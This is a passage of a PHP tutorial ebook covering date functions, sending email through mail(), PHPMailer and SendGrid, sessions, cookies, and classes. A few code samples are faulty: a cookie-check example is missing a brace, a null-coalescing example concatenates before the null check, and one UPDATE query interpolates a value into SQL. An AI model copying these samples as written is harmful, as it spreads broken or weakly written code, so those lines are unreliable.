echo date("m/d/Y", strtotime("-1 day")), "\n"; // prints yesterday's date
echo date("m/d/Y", strtotime("+1 week")), "\n"; // prints the result of the current date + a week
echo date("m/d/Y", strtotime("+1 week 2 days 4 hours 2 seconds")), "\n"; // same as the last example
but with extra days, hours, and seconds added to it
echo date("m/d/Y", strtotime("next Thursday")), "\n"; // prints next Thursday's date
echo date("m/d/Y", strtotime("last Monday")), "\n"; // prints last Monday's date
echo date("m/d/Y", strtotime("First day of next month")), "\n"; // prints date of first day of next
month
echo date("m/d/Y", strtotime("Last day of next month")), "\n"; // prints date of last day of next
month
echo date("m/d/Y", strtotime("First day of last month")), "\n"; // prints date of first day of last
month
echo date("m/d/Y", strtotime("Last day of last month")), "\n"; // prints date of last day of last
month

Section 8.4: Using Predefined Constants for Date Format

We can use Predefined Constants for Date format in date() instead of the conventional date format strings since
PHP 5.1.0.

Complete PHP Tips & Secrets for Professionals 41

Predefined Date Format Constants Available

DATE_ATOM - Atom (2016-07-22T14:50:01+00:00)

DATE_COOKIE - HTTP Cookies (Friday, 22-Jul-16 14:50:01 UTC)

DATE_RSS - RSS (Fri, 22 Jul 2016 14:50:01 +0000)

DATE_W3C - World Wide Web Consortium (2016-07-22T14:50:01+00:00)

DATE_ISO8601 - ISO-8601 (2016-07-22T14:50:01+0000)

DATE_RFC822 - RFC 822 (Fri, 22 Jul 16 14:50:01 +0000)

DATE_RFC850 - RFC 850 (Friday, 22-Jul-16 14:50:01 UTC)

DATE_RFC1036 - RFC 1036 (Fri, 22 Jul 16 14:50:01 +0000)

DATE_RFC1123 - RFC 1123 (Fri, 22 Jul 2016 14:50:01 +0000)

DATE_RFC2822 - RFC 2822 (Fri, 22 Jul 2016 14:50:01 +0000)

DATE_RFC3339 - Same as DATE_ATOM (2016-07-22T14:50:01+00:00)

Usage Examples

echo date(DATE_RFC822);

This will output: Fri, 22 Jul 16 14:50:01 +0000

echo date(DATE_ATOM,mktime(0,0,0,8,15,1947));

This will output: 1947-08-15T00:00:00+05:30

Chapter 9: Sending Email

Parameter Details
string $to The recipient email address
string $subject The subject line
string $message The body of the email
string $additional_headers Optional: headers to add to the email
Optional: arguments to pass to the configured mail send application in the
string $additional_parameters
command line

Section 9.1: Sending Email - The basics, more details, and a full example
A typical email has three main components:

1. A recipient (represented as an email address)

2. A subject
3. A message body

Sending mail in PHP can be as simple as calling the built-in function mail(). mail() takes up to five parameters but
the first three are all that is required to send an email (although the four parameters is commonly used as will be
demonstrated below). The first three parameters are:

1. The recipient's email address (string)

Complete PHP Tips & Secrets for Professionals 42

 2. The email's subject (string)
3. The body of the email (string) (e.g. the content of the email)

A minimal example would resemble the following code:

mail('[email protected]', 'Email Subject', 'This is the email message body');

The simple example above works well in limited circumstances such as hardcoding an email alert for an internal
system. However, it is common to place the data passed as the parameters for mail() in variables to make the
code cleaner and easier to manage (for example, dynamically building an email from a form submission).

Additionally, mail() accepts a fourth parameter which allows you to have additional mail headers sent with your
email. These headers can allow you to set:

the From name and email address the user will see
the Reply-To email address the user's response will be sent to
additional non-standards headers like X-Mailer which can tell the recipient this email was sent via PHP

$to = '[email protected]'; // Could also be $to = $_POST['recipient'];

$subject = 'Email Subject'; // Could also be $subject = $_POST['subject'];
$message = 'This is the email message body'; // Could also be $message = $_POST['message'];
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);

The optional fifth parameter can be used to pass additional flags as command line options to the program
configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this
can be used to set the envelope sender address when using sendmail/postfix with the -f sendmail option.

$fifth = '[email protected]';

Although using mail() can be pretty reliable, it is by no means guaranteed that an email will be sent when mail() is
called. To see if there is a potential error when sending your email, you should capture the return value from
mail(). TRUE will be returned if the mail was successfully accepted for delivery. Otherwise, you will receive FALSE.

$result = mail($to, $subject, $message, $headers, $fifth);

NOTE: Although mail() may return TRUE, it does not mean the email was sent or that the email will be received by
the recipient. It only indicates the mail was successfully handed over to your system's mail system successfully.

If you wish to send an HTML email, there isn't a lot more work you need to do. You need to:

1. Add the MIME-Version header

2. Add the Content-Type header
3. Make sure your email content is HTML

$to = '[email protected]';
$subject = 'Email Subject';
$message = '<html><body>This is the email message body</body></html>';
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'MIME-Version: 1.0',
'Content-Type: text/html; charset=ISO-8859-1',
'X-Mailer: PHP/' . PHP_VERSION
]);

Complete PHP Tips & Secrets for Professionals 43

Here's a full example of using PHP's mail() function

<?php

// Debugging tools. Only turn these on in your development environment.

error_reporting(-1);
ini_set('display_errors', 'On');
set_error_handler("var_dump");

// Special mail settings that can make mail less likely to be considered spam
// and offers logging in case of technical difficulties.

ini_set("mail.log", "/tmp/mail.log");
ini_set("mail.add_x_header", TRUE);

// The components of our email

$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);

// Send the email

$result = mail($to, $subject, $message, $headers);

// Check the results and react accordingly

if ($result) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

}
else {

// Your mail was not sent. Check your logs to see if

// the reason was reported there for you.

See Also

Official documentation

mail()
PHP mail() configuration

Related Stack Overflow Questions

PHP mail form doesn't complete sending e-mail

How do you make sure email you send programmatically is not automatically marked as spam?

Complete PHP Tips & Secrets for Professionals 44

 How to use SMTP to send email
Setting envelope from address

Alternative Mailers

PHPMailer
SwiftMailer
PEAR::Mail

Email Servers

Mercury Mail (Windows)

Related Topics

Post/Redirect/Get

Section 9.2: Sending HTML Email Using mail()

<?php
$to = '[email protected]';
$subject = 'Sending an HTML email using mail() in PHP';
$message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>';

$headers = implode("\r\n", [
"From: John Conde <[email protected]>",
"Reply-To: [email protected]",
"X-Mailer: PHP/" . PHP_VERSION,
"MIME-Version: 1.0",
"Content-Type: text/html; charset=UTF-8"
]);

mail($to, $subject, $message, $headers);

This is not much different then sending a plain text email. Thet key differences being the content body is structured
like an HTML document and there are two additional headers that must be included so the email client knows to
trender the email as HTML. They are:

MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8

Section 9.3: Sending Email With An Attachment Using mail()

<?php

$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';

$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);

/* Attachment content transferred in Base64 encoding

MUST be split into chunks 76 characters in length as
specified by RFC 2045 section 6.8. By default, the
function chunk_split() uses a chunk length of 76 with
a trailing CRLF (\r\n). The 76 character requirement
does not include the carriage return and line feed */
$content = chunk_split(base64_encode($content));

Complete PHP Tips & Secrets for Professionals 45

/* Boundaries delimit multipart entities. As stated
in RFC 2046 section 5.1, the boundary MUST NOT occur
in any encapsulated part. Therefore, it should be
unique. As stated in the following section 5.1.1, a
boundary is defined as a line consisting of two hyphens
("--"), a parameter value, optional linear whitespace,
and a terminating CRLF. */
$prefix = "part_"; // This is an optional prefix
/* Generate a unique boundary parameter value with our
prefix using the uniqid() function. The second parameter
makes the parameter value more unique. */
$boundary = uniqid($prefix, true);

// headers
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION,
'MIME-Version: 1.0',
// boundary parameter required, must be enclosed by quotes
'Content-Type: multipart/mixed; boundary="' . $boundary . '"',
"Content-Transfer-Encoding: 7bit",
"This is a MIME encoded message." // message for restricted transports
]);

// message and attachment

$message = implode("\r\n", [
"--" . $boundary, // header boundary delimiter line
'Content-Type: text/plain; charset="iso-8859-1"',
"Content-Transfer-Encoding: 8bit",
$message,
"--" . $boundary, // content boundary delimiter line
'Content-Type: application/octet-stream; name="RenamedFile.pdf"',
"Content-Transfer-Encoding: base64",
"Content-Disposition: attachment",
$content,
"--" . $boundary . "--" // closing boundary delimiter line
]);

$result = mail($to, $subject, $message, $headers); // send the email

if ($result) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;
}
else {
// Your mail was not sent. Check your logs to see if
// the reason was reported there for you.
}
Content-Transfer-Encodings

The available encodings are 7bit, 8bit, binary, quoted-printable, base64, ietf-token, and x-token. Of these encodings,
when a header has a multipart Content-Type, the Content-Transfer-Encoding must not be any other value other
than 7bit, 8bit, or binary as stated in RFC 2045, section 6.4.

Our example chooses the 7bit encoding, which represents US-ASCII characters, for the multipart header because,
as noted in RFC 2045 section 6, some protocols support only this encoding. Data within the boundaries can then be

Complete PHP Tips & Secrets for Professionals 46

encoded on a part-by-part basis (RFC 2046, section 5.1). This example does exactly this. The first part, which
contains the text/plain message, is defined to be 8bit since it may be necessary to support additional characters. In
this case, the Latin1 (iso-8859-1) character set is being used. The second part is the attachment and so it is defined
as a base64-encoded application/octet-stream. Since base64 transforms arbitrary data into the 7bit range, it can be
sent over restricted transports (RFC 2045, section 6.2).

Section 9.4: Sending Plain Text Email Using PHPMailer

Basic Text Email

<?php

$mail = new PHPMailer();

$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";

if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;
}
else {
echo "Mailer Error: " . $mail->ErrorInfo;
}

Adding addtional recipients, CC recipients, BCC recipients

<?php

$mail = new PHPMailer();

$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";

if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;
}
else {
echo "Error: " . $mail->ErrorInfo;
}

Complete PHP Tips & Secrets for Professionals 47

Section 9.5: Sending HTML Email Using PHPMailer
<?php

$mail = new PHPMailer();

$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->isHTML(true);
$mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>";
$mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic.";

if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;
}
else {
echo "Error: " . $mail->ErrorInfo;
}

Section 9.6: Sending Email With An Attachment Using PHPMailer

<?php

$mail = new PHPMailer();

$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email with an attachment using PHPMailer.";

// Add Static Attachment

$attachment = '/path/to/your/file.pdf';
$mail->AddAttachment($attachment , 'RenamedFile.pdf');

// Add Second Attachment, run-time created. ie: CSV to be open with Excel
$csvHeader = "header1,header2,header3";
$csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3";

$mail->AddStringAttachment($csvHeader ."\n" . $csvData, 'your-csv-file.csv', 'base64',

'application/vnd.ms-excel');

if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;
}

Complete PHP Tips & Secrets for Professionals 48

else {
echo "Error: " . $mail->ErrorInfo;
}

Section 9.7: Sending Plain Text Email Using Sendgrid

Basic Text Email

<?php

$sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY");

$email = new SendGrid\Email();

$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");

$sendgrid->send($email);

Adding addtional recipients, CC recipients, BCC recipients

<?php

$sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY");

$email = new SendGrid\Email();

$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>");

$personalization = new Personalization();

$email = new Email("Recepient Name", "[email protected]");
$personalization->addTo($email);
$email = new Email("RecepientCC Name", "[email protected]");
$personalization->addCc($email);
$email = new Email("RecepientBCC Name", "[email protected]");
$personalization->addBcc($email);
$email->addPersonalization($personalization);

$sendgrid->send($email);

Section 9.8: Sending Email With An Attachment Using Sendgrid

<?php

$sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY");

$email = new SendGrid\Email();

$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");

$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
$content = chunk_split(base64_encode($content));

$attachment = new Attachment();

$attachment->setContent($content);

Complete PHP Tips & Secrets for Professionals 49

$attachment->setType("application/pdf");
$attachment->setFilename("RenamedFile.pdf");
$attachment->setDisposition("attachment");
$email->addAttachment($attachment);

$sendgrid->send($email);

Chapter 10: Sessions

void session_abort ( void )
int session_cache_expire ([ string $new_cache_expire ] )
void session_commit ( void )
string session_create_id ([ string $prefix ] )
bool session_decode ( string $data )
bool session_destroy ( void )
string session_encode ( void )
int session_gc ( void )
array session_get_cookie_params ( void )
string session_id ([ string $id ] )
bool session_is_registered ( string $name )
string session_module_name ([ string $module ] )
string session_name ([ string $name ] )
bool session_regenerate_id ([ bool $delete_old_session = false ] )
void session_register_shutdown ( void )
bool session_register ( mixed $name [, mixed $... ] )
void session_reset ( void )
string session_save_path ([ string $path ] )
void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool
$httponly = false ]]]] )
bool session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable
$destroy , callable $gc [, callable $create_sid [, callable $validate_sid [, callable $update_timestamp ]]] )
bool session_start ([ array $options = [] ] )
int session_status ( void )
bool session_unregister ( string $name )
void session_unset ( void )
void session_write_close ( void )

Section 10.1: session_start() Options

Starting with PHP Sessions we can pass an array with session-based php.ini options to the session_start
function.

Example

<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
// php >= 7 version
session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);
} else {
// php < 7 version
session_start();
}

Complete PHP Tips & Secrets for Professionals 50

?>

This feature also introduces a new php.ini setting named session.lazy_write, which defaults to true and means
that session data is only rewritten, if it changes.

Referencing: https://wiki.php.net/rfc/session-lock-ini

Section 10.2: Session Locking

As we all are aware that PHP writes session data into a file at server side. When a request is made to php script
which starts the session via session_start(), PHP locks this session file resulting to block/wait other incoming
requests for same session_id to complete, because of which the other requests will get stuck on session_start()
until or unless the session file locked is not released

The session file remains locked until the script is completed or session is manually closed. To avoid this situation i.e.
to prevent multiple requests getting blocked, we can start the session and close the session which will release the lock
from session file and allow to continue the remaining requests.

// php < 7.0

// start session
session_start();

// write data to session

$_SESSION['id'] = 123; // session file is locked, so other requests are blocked

// close the session, release lock

session_write_close();

Now one will think if session is closed how we will read the session values, beautify even after session is closed,
session is still available. So, we can still read the session data.

echo $_SESSION['id']; // will output 123

In php >= 7.0, we can have read_only session, read_write session and lazy_write session, so it may not required
to use session_write_close()

Section 10.3: Manipulating session data

The $_SESSION variable is an array, and you can retrieve or manipulate it like a normal array.

<?php
// Starting the session
session_start();

// Storing the value in session

$_SESSION['id'] = 342;

// conditional usage of session values that may have been set in a previous session
if(!isset($_SESSION["login"])) {
echo "Please login first";
exit;
}
// now you can use the login safely
$user = $_SESSION["login"];

// Getting a value from the session data, or with default value,

// using the Null Coalescing operator in PHP 7
$name = $_SESSION['name'] ?? 'Anonymous';

Complete PHP Tips & Secrets for Professionals 51

Also see Manipulating an Array for more reference how to work on an array.

Note that if you store an object in a session, it can be retrieved gracefully only if you have an class autoloader or
you have loaded the class already. Otherwise, the object will come out as the type __PHP_Incomplete_Class, which
may later lead to crashes. See Namespacing and Autoloading about autoloading.

Warning:

Session data can be hijacked. This is outlined in: Pro PHP Security: From Application Security Principles to the
Implementation of XSS Defense - Chapter 7: Preventing Session Hijacking So it can be strongly recommended to never
store any personal information in $_SESSION. This would most critically include credit card numbers, government
issued ids, and passwords; but would also extend into less assuming data like names, emails, phone numbers,
etc which would allow a hacker to impersonate/compromise a legitimate user. As a general rule, use worthless/non-
personal values, such as numerical identifiers, in session data.

Section 10.4: Destroy an entire session

If you've got a session which you wish to destroy, you can do this with session_destroy()

/*
Let us assume that our session looks like this:
Array([firstname] => Jon, [id] => 123)

We first need to start our session:

*/
session_start();

/*
We can now remove all the values from the `SESSION` superglobal:
If you omitted this step all of the global variables stored in the
superglobal would still exist even though the session had been destroyed.
*/
$_SESSION = array();

// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

//Finally we can destroy the session:

session_destroy();

Using session_destroy() is different to using something like $_SESSION = array(); which will remove all of the
values stored in the SESSION superglobal but it will not destroy the actual stored version of the session.

Note: We use $_SESSION = array(); instead of session_unset() because the manual stipulates:

Only use session_unset() for older deprecated code that does not use $_SESSION.

Section 10.5: Safe Session Start With no Errors

Many developers have this problem when they work on huge projects, especially if they work on some modular
CMS on plugins, addons, components etc. Here is solution for safe session start where if first checked PHP version
to cover all versions and on next is checked if session is started. If session not exists then I start session safe. If

Complete PHP Tips & Secrets for Professionals 52

session exists nothing happen.

if (version_compare(PHP_VERSION, '7.0.0') >= 0) {

if(session_status() == PHP_SESSION_NONE) {
session_start(array(
'cache_limiter' => 'private',
'read_and_close' => true,
));
}
}
else if (version_compare(PHP_VERSION, '5.4.0') >= 0)
{
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
}
else
{
if(session_id() == '') {
session_start();
}
}

This can help you a lot to avoid session_start error.

Section 10.6: Session name

Checking if session cookies have been created

Session name is the name of the cookie used to store sessions. You can use this to detect if cookies for a session
have been created for the user:

if(isset($_COOKIE[session_name()])) {
session_start();
}

Note that this method is generally not useful unless you really don't want to create cookies unnecessarily.

Changing session name

You can update the session name by calling session_name().

//Set the session name

session_name('newname');
//Start the session
session_start();

If no argument is provided into session_name() then the current session name is returned.

It should contain only alphanumeric characters; it should be short and descriptive (i.e. for users with enabled cookie
warnings). The session name can't consist of digits only, at least one letter must be present. Otherwise a new
session id is generated every time.

Chapter 11: Cookies

bool setcookie( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [,
string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )

parameter detail

Complete PHP Tips & Secrets for Professionals 53

 The name of the cookie. This is also the key you can use to retrieve the value from the $_COOKIE super
name
global. This is the only required parameter
The value to store in the cookie. This data is accessible to the browser so don't store anything sensitive
value
here.
A Unix timestamp representing when the cookie should expire. If set to zero the cookie will expire at
expire the end of the session. If set to a number less than the current Unix timestamp the cookie will expire
immediately.
The scope of the cookie. If set to / the cookie will be available within the entire domain. If set to /some-
path path/ then the cookie will only be available in that path and descendants of that path. Defaults to the
current path of the file that the cookie is being set in.
The domain or subdomain the cookie is available on. If set to the bare domain stackoverflow.com
then the cookie will be available to that domain and all subdomains. If set to a subdomain
domain
meta.stackoverflow.com then the cookie will be available only on that subdomain, and all sub-
subdomains.
When set to TRUE the cookie will only be set if a secure HTTPS connection exists between the client and
secure
the server.
Specifies that the cookie should only be made available through the HTTP/S protocol and should not be
httponly
available to client side scripting languages like JavaScript. Only available in PHP 5.2 or later.

An HTTP cookie is a small piece of data sent from a website and stored on the user's computer by the user's web
browser while the user is browsing.

Section 11.1: Modifying a Cookie

The value of a cookie can be modified by resetting the cookie

setcookie("user", "John", time() + 86400, "/"); // assuming there is a "user" cookie already

Cookies are part of the HTTP header, so setcookie() must be called before any output is sent to the browser.

When modifying a cookie make sure the path and domain parameters of setcookie() matches the existing cookie
or a new cookie will be created instead.

The value portion of the cookie will automatically be urlencoded when you send the cookie, and when it is received,
it is automatically decoded and assigned to a variable by the same name as the cookie name

Section 11.2: Setting a Cookie

A cookie is set using the setcookie() function. Since cookies are part of the HTTP header, you must set any cookies
before sending any output to the browser.

Example:

setcookie("user", "Tom", time() + 86400, "/"); // check syntax for function params

Description:

Creates a cookie with name user

(Optional) Value of the cookie is Tom
(Optional) Cookie will expire in 1 day (86400 seconds)
(Optional) Cookie is available throughout the whole website /
(Optional) Cookie is only sent over HTTPS
(Optional) Cookie is not accessible to scripting languages such as JavaScript

A created or modified cookie can only be accessed on subsequent requests (where path and domain matches) as
the superglobal $_COOKIEis not populated with the new data immediately.

Complete PHP Tips & Secrets for Professionals 54

Section 11.3: Checking if a Cookie is Set
Use the isset() function upon the superglobal $_COOKIE variable to check if a cookie is set.

Example:

// PHP <7.0
if (isset($_COOKIE['user'])) {
// true, cookie is set
echo 'User is ' . $_COOKIE['user'];
else {
// false, cookie is not set
echo 'User is not logged in';
}

// PHP 7.0+
echo 'User is ' . $_COOKIE['user'] ?? 'User is not logged in';

Section 11.4: Removing a Cookie

To remove a cookie, set the expiry timestamp to a time in the past. This triggers the browser's removal mechanism:

setcookie('user', '', time() - 3600, '/');

When deleting a cookie make sure the path and domain parameters of setcookie() matches the cookie you're
trying to delete or a new cookie, which expires immediately, will be created.

It is also a good idea to unset the $_COOKIE value in case the current page uses it:

unset($_COOKIE['user']);

Section 11.5: Retrieving a Cookie

Retrieve and Output a Cookie Named user

The value of a cookie can be retrieved using the global variable $_COOKIE. example if we have a cookie named user
we can retrieve it like this

echo $_COOKIE['user'];

Chapter 12: Classes and Objects

class <ClassName> [ extends <ParentClassName> ] [ implements <Interface1> [, <Interface2>, ...
] { } // Class declaration
interface <InterfaceName> [ extends <ParentInterface1> [, <ParentInterface2>, ...] ] { } //
Interface declaration
use <Trait1> [, <Trait2>, ...]; // Use traits
[ public | protected | private ] [ static ] $<varName>; // Attribute declaration
const <CONST_NAME>; // Constant declaration
[ public | protected | private ] [ static ] function <methodName>([args...]) { } // Method
declaration

Classes and Objects are used to to make your code more efficient and less repetitive by grouping similar tasks.

A class is used to define the actions and data structure used to build objects. The objects are then built using this
predefined structure.

Complete PHP Tips & Secrets for Professionals 55

Section 12.1: Class Constants
Class constants provide a mechanism for holding fixed values in a program. That is, they provide a way of giving a
name (and associated compile-time checking) to a value like 3.14 or "Apple". Class constants can only be defined
with the const keyword - the define function cannot be used in this context.

As an example, it may be convenient to have a shorthand representation for the value of ? throughout a program. A
class with const values provides a simple way to hold such values.

class MathValues {
const PI = M_PI;
const PHI = 1.61803;
}

$area = MathValues::PI * $radius * $radius;

Class constants may be accessed by using the double colon operator (so-called the scope resolution operator) on a
class, much like static variables. Unlike static variables, however, class constants have their values fixed at compile
time and cannot be reassigned to (e.g. MathValues::PI = 7 would produce a fatal error).

Class constants are also useful for defining things internal to a class that might need changing later (but do not
change frequently enough to warrant storing in, say, a database). We can reference this internally using the self
scope resolutor (which works in both instanced and static implementations)

class Labor {
/** How long, in hours, does it take to build the item? */
const LABOR_UNITS = 0.26;
/** How much are we paying employees per hour? */
const LABOR_COST = 12.75;

public function getLaborCost($number_units) {

return (self::LABOR_UNITS * self::LABOR_COST) * $number_units;
}
}

Class constants can only contain scalar values in versions < 5.6

As of PHP 5.6 we can use expressions with constants, meaning math statements and strings with concatenation are
acceptable constants

class Labor {
/** How much are we paying employees per hour? Hourly wages * hours taken to make */
const LABOR_COSTS = 12.75 * 0.26;

public function getLaborCost($number_units) {

return self::LABOR_COSTS * $number_units;
}
}

As of PHP 7.0, constants declared with define may now contain arrays.

define("BAZ", array('baz'));

Class constants are useful for more than just storing mathematical concepts. For example, if preparing a pie, it
might be convenient to have a single Pie class capable of taking different kinds of fruit.

class Pie {
protected $fruit;

Complete PHP Tips & Secrets for Professionals 56

 public function __construct($fruit) {
$this->fruit = $fruit;
}
}

We can then use the Pie class like so

$pie = new Pie("strawberry");

The problem that arises here is, when instantiating the Pie class, no guidance is provided as to the acceptable
values. For example, when making a "boysenberry" pie, it might be misspelled "boisenberry". Furthermore, we
might not support a plum pie. Instead, it would be useful to have a list of acceptable fruit types already defined
somewhere it would make sense to look for them. Say a class named Fruit:

class Fruit {
const APPLE = "apple";
const STRAWBERRY = "strawberry";
const BOYSENBERRY = "boysenberry";
}

$pie = new Pie(Fruit::STRAWBERRY);

Listing the acceptable values as class constants provides a valuable hint as to the acceptable values which a method
accepts. It also ensures that misspellings cannot make it past the compiler. While new Pie('aple') and new
Pie('apple') are both acceptable to the compiler, new Pie(Fruit::APLE) will produce a compiler error.

Finally, using class constants means that the actual value of the constant may be modified in a single place, and any
code using the constant automatically has the effects of the modification.

Whilst the most common method to access a class constant is MyClass::CONSTANT_NAME, it may also be accessed
by:

echo MyClass::CONSTANT;

$classname = "MyClass";
echo $classname::CONSTANT; // As of PHP 5.3.0

Class constants in PHP are conventionally named all in uppercase with underscores as word separators, although
any valid label name may be used as a class constant name.

As of PHP 7.1, class constants may now be defined with different visibilities from the default public scope. This
means that both protected and private constants can now be defined to prevent class constants from unnecessarily
leaking into the public scope (see Method and Property Visibility ). For example:

class Something {
const PUBLIC_CONST_A = 1;
public const PUBLIC_CONST_B = 2;
protected const PROTECTED_CONST = 3;
private const PRIVATE_CONST = 4;
}
define vs class constants

Although this is a valid construction:

function bar() { return 2; };

define('BAR', bar());

If you try to do the same with class constants, you'll get an error:

Complete PHP Tips & Secrets for Professionals 57

function bar() { return 2; };

class Foo {
const BAR = bar(); // Error: Constant expression contains invalid operations
}

But you can do:

function bar() { return 2; };

define('BAR', bar());

class Foo {
const BAR = BAR; // OK
}

For more information, see constants in the manual.

Using ::class to retrieve class's name

PHP 5.5 introduced the ::class syntax to retrieve the full class name, taking namespace scope and use statements
into account.

namespace foo;
use bar\Bar;
echo json_encode(Bar::class); // "bar\\Bar"
echo json_encode(Foo::class); // "foo\\Foo"
echo json_encode(\Foo::class); // "Foo"

The above works even if the classes are not even defined (i.e. this code snippet works alone).

This syntax is useful for functions that require a class name. For example, it can be used with class_exists to
check a class exists. No errors will be generated regardless of return value in this snippet:

class_exists(ThisClass\Will\NeverBe\Loaded::class, false);

Section 12.2: Abstract Classes

An abstract class is a class that cannot be instantiated. Abstract classes can define abstract methods, which are
methods without any body, only a definition:

abstract class MyAbstractClass {

abstract public function doSomething($a, $b);
}

Abstract classes should be extended by a child class which can then provide the implementation of these abstract
methods.

The main purpose of a class like this is to provide a kind of template that allows children classes to inherit from,
"forcing" a structure to adhere to. Lets elaborate on this with an example:

In this example we will be implementing a Worker interface. First we define the interface:

interface Worker {
public function run();
}

To ease the development of further Worker implementations, we will create an abstract worker class that already
provides the run() method from the interface, but specifies some abstract methods that need to be filled in by any
child class:

Complete PHP Tips & Secrets for Professionals 58

abstract class AbstractWorker implements Worker {
protected $pdo;
protected $logger;

public function __construct(PDO $pdo, Logger $logger) {

$this->pdo = $pdo;
$this->logger = $logger;
}

public function run() {

try {
$this->setMemoryLimit($this->getMemoryLimit());
$this->logger->log("Preparing main");
$this->prepareMain();
$this->logger->log("Executing main");
$this->main();
} catch (Throwable $e) {
// Catch and rethrow all errors so they can be logged by the worker
$this->logger->log("Worker failed with exception: {$e->getMessage()}");
throw $e;
}
}

private function setMemoryLimit($memoryLimit) {

ini_set('memory_limit', $memoryLimit);
$this->logger->log("Set memory limit to $memoryLimit");
}

abstract protected function getMemoryLimit();

abstract protected function prepareMain();

abstract protected function main();

}

First of all, we have provided an abstract method getMemoryLimit(). Any class extending from AbstractWorker
needs to provide this method and return its memory limit. The AbstractWorker then sets the memory limit and
logs it.

Secondly the AbstractWorker calls the prepareMain() and main() methods, after logging that they have been
called.

Finally, all of these method calls have been grouped in a try-catch block. So if any of the abstract methods defined
by the child class throws an exception, we will catch that exception, log it and rethrow it. This prevents all child
classes from having to implement this themselves.

Now lets define a child class that extends from the AbstractWorker:

class TranscactionProcessorWorker extends AbstractWorker {

private $transactions;

protected function getMemoryLimit() {

return "512M";
}

protected function prepareMain() {

$stmt = $this->pdo->query("SELECT * FROM transactions WHERE processed = 0 LIMIT 500");
$stmt->execute();
$this->transactions = $stmt->fetchAll();
}

Complete PHP Tips & Secrets for Professionals 59

 protected function main() {
foreach ($this->transactions as $transaction) {
// Could throw some PDO or MYSQL exception, but that is handled by the AbstractWorker
$stmt = $this->pdo->query("UPDATE transactions SET processed = 1 WHERE id =
{$transaction['id']} LIMIT 1");
$stmt->execute();
}
}
}

As you can see, the TransactionProcessorWorker was rather easy to implement, as we only had to specify the
memory limit and worry about the actual actions that it needed to perform. No error handling is needed in the
TransactionProcessorWorker because that is handled in the AbsractWorker.

Important Note

When inheriting from an abstract class, all methods marked abstract in the parent's class declaration must be
